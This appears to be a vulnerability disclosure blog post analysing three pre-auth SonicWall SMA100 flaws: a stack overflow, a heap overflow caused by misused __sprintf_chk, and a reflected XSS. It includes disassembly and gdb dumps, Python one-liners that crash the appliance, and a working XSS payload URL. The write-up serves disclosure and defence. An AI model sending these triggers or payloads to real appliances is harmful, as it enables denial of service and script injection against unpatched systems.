Stack Overflows, Heap Overflows, and Existential Dread (SonicWall SMA100 CVE-2025-40596, CVE-2025-40597 and CVE-2025-40598)

It’s 2025, and at this point, we’re convinced there’s a secret industry-wide pledge: every network appliance must include at least one trivially avoidable HTTP header parsing bug - preferably pre-auth. Bonus points if it involves sscanf
.
If that’s the case, well done! SonicWall’s SMA100 series has proudly fulfilled the quota - possibly even qualified for a bonus.
Our initial journey started with analyzing SonicWall N-days that were receiving coveted attention from our friendly APT groups. But somewhere along the way - deep in a fog of malformed headers and reverse proxy schenanigans - we stumbled across vulnerabilities that feel like they were preserved in amber from a more naïve era of C programming.
While we understand (and agree) that these vulnerabilities are ultimately difficult - or in some cases, currently not exploitable - the fact they exist at all is, frankly, disappointing. Pre-auth stack and heap overflows triggered by malformed HTTP headers aren’t supposed to happen anymore. And yet… here we are.
So come, cry with us. We’ll walk you through how we got here, what we found, and why cyber security feels like great job security.
In this blog post, we’ll walk through three vulnerabilities discovered in the SonicWall SMA100 series - all confirmed against firmware version 10.2.1.15:
- CVE-2025-40596 - Stack-based buffer overflow (pre-auth)
- CVE-2025-40597 - Heap-based buffer overflow (pre-auth)
- CVE-2025-40598 - Reflected XSS (pre-auth, user interaction required)
SonicWall's advisory can be found here.
Let’s dive in.
CVE-2025-40596 - Pre-Auth Stack-Based Buffer Overflow Vulnerability
While reviewing the /usr/src/EasyAccess/bin/httpd
binary - responsible for handling incoming HTTP requests to the SonicWall SSLVPN - we identified a straightforward stack-based buffer overflow. Notably, IDA was unable to decompile the vulnerable function.
The httpd
binary contains a series of conditional checks to map incoming requests to specific functionality. If a request URI begins with /__api__/
, the following logic is triggered.
First, the binary performs a strncasecmp
comparison between the incoming URI and the /__api__/
string:

If the first 9 bytes of the requested URI begin with /__api__/
, execution jumps to the loc_444F0
block. Let’s take a closer look at that.
The loc_444F0
block is straightforward - it invokes the (in)famous sscanf
function to parse user input. Specifically, it copies part of the user-provided URI into the memory address stored in the rcx
register. That address, in turn, originates from a stack variable located at [rsp+898h+var_878]
.

The stack variable at [rsp+898h+var_878]
is 0x800 bytes in size and is zeroed out during the function prologue.
The intent behind this function appears to be straightforward - it’s designed to parse incoming URIs in the following format:
https://x.x.x.x/__api__/v1/login
The sscanf
call first extracts 2 bytes into v1
, then proceeds to copy all characters following the final slash into the 0x800-byte stack buffer - with no bounds checking, of course.
...because what could possibly go wrong?
Reproducing this issue is trivial - it can be triggered with the following one-liner:
import requests; requests.get("https://x.x.x.x/__api__/v1/"+'A'*3000,verify=False)
If the remote connection closes, it’s a strong indicator that the target is vulnerable. However, if you send a smaller payload - say, around 2000 bytes - the server responds with a 400 Bad Request
instead.
For example:
import requests; requests.get("https://x.x.x.x/__api__/v1/" + 'A'*2000, verify=False)
Here’s what the crash looks like under gdb
:

Luckily for SonicWall, the /usr/src/EasyAccess/bin/httpd
binary has stack protection enabled - making this particular overflow only moderately tragic. The overflow is directly adjacent to the stack canary and return address, with no other variables in between to abuse.
Still, this is a stack-based buffer overflow on a pre-auth path in 2025, in an SSL-VPN. Let that sink in. Or don't.
CVE-2025-40597 - Pre-Auth Heap-Based Buffer Overflow Vulnerability
One was depressing, but two? Sigh...
While continuing to review the httpd
binary, we came across a shared object named mod_httprp.so
, which appeared to handle a significant portion of the appliance's HTTP parsing. The httprp
in its name likely stands for “HTTP Reverse Proxy” - this library is responsible for inspecting incoming HTTP requests for all sorts of SonicWall-specific functionality, including content filtering, remote desktop access, and more.
The vulnerability lies in an out-of-bounds heap write triggered during parsing of the Host:
header by mod_httprp.so
.
This one’s special - not just because it involves sprintf, but because someone went out of their way to use the “safe” version, and still blew past all guardrails.
We’ve broken it down to keep things simple - let’s walk through the root cause.
v21 = calloc(0x80, 1);
.text:0000000000031DDE lea rax, asc_43502+1 ; "/"
.text:0000000000031DE5 lea r8, aHttps+1 ; "https://"
.text:0000000000031DEC lea rcx, aShostSSSSS+9 ; "%s%s%s%s"
.text:0000000000031DF3 mov r9, r15
.text:0000000000031DF6 mov esi, 1
.text:0000000000031DFB mov [rsp+1220h+var_1218], rax
.text:0000000000031E00 mov rdx, [rbp+var_1108]
.text:0000000000031E07 mov rdi, r12
.text:0000000000031E0A xor eax, eax
.text:0000000000031E0C mov [rsp+1220h+var_1220], rdx
.text:0000000000031E10 mov rdx, 0FFFFFFFFFFFFFFFFh
.text:0000000000031E17 call ___sprintf_chk
First, a heap chunk is allocated via a simple calloc(0x80)
, returning a zeroed-out region of memory. The pointer to this chunk is stored in v21
, which is later passed to a __sprintf_chk
call.
Now, you might be wondering - isn’t __sprintf_chk
supposed to be the “safe” version? How could this possibly be vulnerable?
Well - it is. But only if you use it wrong.
While __sprintf_chk
expects a bounds-checking size argument, the SonicWall developers have chosen to pass -1
(that is, 0xFFFFFFFFFFFFFFFF
) instead.
For those playing along at home - this is not how you do bounds checking.
So close, SSL-VPN developers.. yet still.. so far....
This means the function will continue copying bytes from the provided Host:
header into our 0x80-sized heap chunk... until it encounters a null byte.
Let’s take a look at the contents of v21
before the copy: it points to our freshly calloc
'd 0x80 chunk - completely empty, as expected. Just after it? Additional heap-allocated memory.
And that's where things get interesting.
gdb> dq 0x55cdcdeca880 100
000055cdcdeca880 0000000000000000 0000000000000000 <- v21 calloc'd chunk starts here
000055cdcdeca890 0000000000000000 0000000000000000
000055cdcdeca8a0 0000000000000000 0000000000000000
000055cdcdeca8b0 0000000000000000 0000000000000000
000055cdcdeca8c0 0000000000000000 0000000000000000
000055cdcdeca8d0 0000000000000000 0000000000000000
000055cdcdeca8e0 0000000000000000 0000000000000000
000055cdcdeca8f0 0000000000000000 0000000000000000 <- v21 chunk ends here
000055cdcdeca900 0000000000000000 0000000000013701 <- next allocated heap chunk
000055cdcdeca910 0000000000000000 0000000000000000
000055cdcdeca920 0000000000000000 0000000000000000
000055cdcdeca930 0000000000000000 0000000000000000
000055cdcdeca940 0000000000000000 0000000000000000
000055cdcdeca950 0000000000000000 0000000000000000
000055cdcdeca960 0000000000000001 00000000000136a1
000055cdcdeca970 0000000000000000 0000000000000000
000055cdcdeca980 0000000000000000 0000000000000000
After the copy completes, we observe that the metadata of the adjacent heap chunk has been overwritten with our controlled data.
That’s... not ideal.
gdb> dq 0x55cdcdeca880 100
000055cdcdeca880 2f2f3a7370747468 4141414141414141 <- v21 calloc'd chunk starts here
000055cdcdeca890 4141414141414141 4141414141414141
000055cdcdeca8a0 4141414141414141 4141414141414141
000055cdcdeca8b0 4141414141414141 4141414141414141
000055cdcdeca8c0 4141414141414141 4141414141414141
000055cdcdeca8d0 4141414141414141 4141414141414141
000055cdcdeca8e0 4141414141414141 4141414141414141
000055cdcdeca8f0 4141414141414141 4141414141414141
000055cdcdeca900 4141414141414141 4141414141414141 <- next heap chunk overwritten
000055cdcdeca910 4141414141414141 4141414141414141
000055cdcdeca920 4141414141414141 4141414141414141
000055cdcdeca930 4141414141414141 4141414141414141
000055cdcdeca940 4141414141414141 4141414141414141
000055cdcdeca950 4141414141414141 4141414141414141
000055cdcdeca960 4141414141414141 4141414141414141
000055cdcdeca970 4141414141414141 4141414141414141
000055cdcdeca980 4141414141414141 4141414141414141
Reproducing this issue is just as straightforward - it can be triggered with the following one-liner:
import requests; requests.get("https://x.x.x.x/__api__/", headers={'Host':'A'*750}, verify=False)
As for exploiting this issue to achieve full pre-auth RCE - due to the number of background tasks and scripts constantly interacting with the same web server we’re targeting, we were unable to reliably race the server during heap metadata manipulation.
CVE-2025-40598 - Reflected Cross-Site Scripting (XSS) Vulnerability
Just for good measure - while reviewing the available CGI endpoints, we accidentally stumbled across a classic reflected XSS.
Triggering it was trivial - simply browse to the radiusChallengeLogin
endpoint and inject an XSS payload via the state
parameter. The value is reflected directly into the response with zero filtering.
What’s particularly interesting is that, despite the SMA100 SSLVPN offering a WAF feature, it appears to be entirely disabled on the management interfaces - meaning even basic payloads like the one below are enough to trigger the issue:
https://x.x.x.x/cgi-bin/radiusChallengeLogin?portalName=portal1&status=needchallenge&state="><img/src=x+onerror=alert`1`>

The result? A good old-fashioned alert(1)
- 2005 (or Fortinet in 2025) called, it wants its vuln back.
A charming blast from the past - and a reminder that some things never change.
The research published by watchTowr Labs is just a glimpse into what powers the watchTowr Platform – delivering automated, continuous testing against real attacker behaviour.
By combining Proactive Threat Intelligence and External Attack Surface Management into a single Preemptive Exposure Management capability, the watchTowr Platform helps organisations rapidly react to emerging threats – and gives them what matters most: time to respond.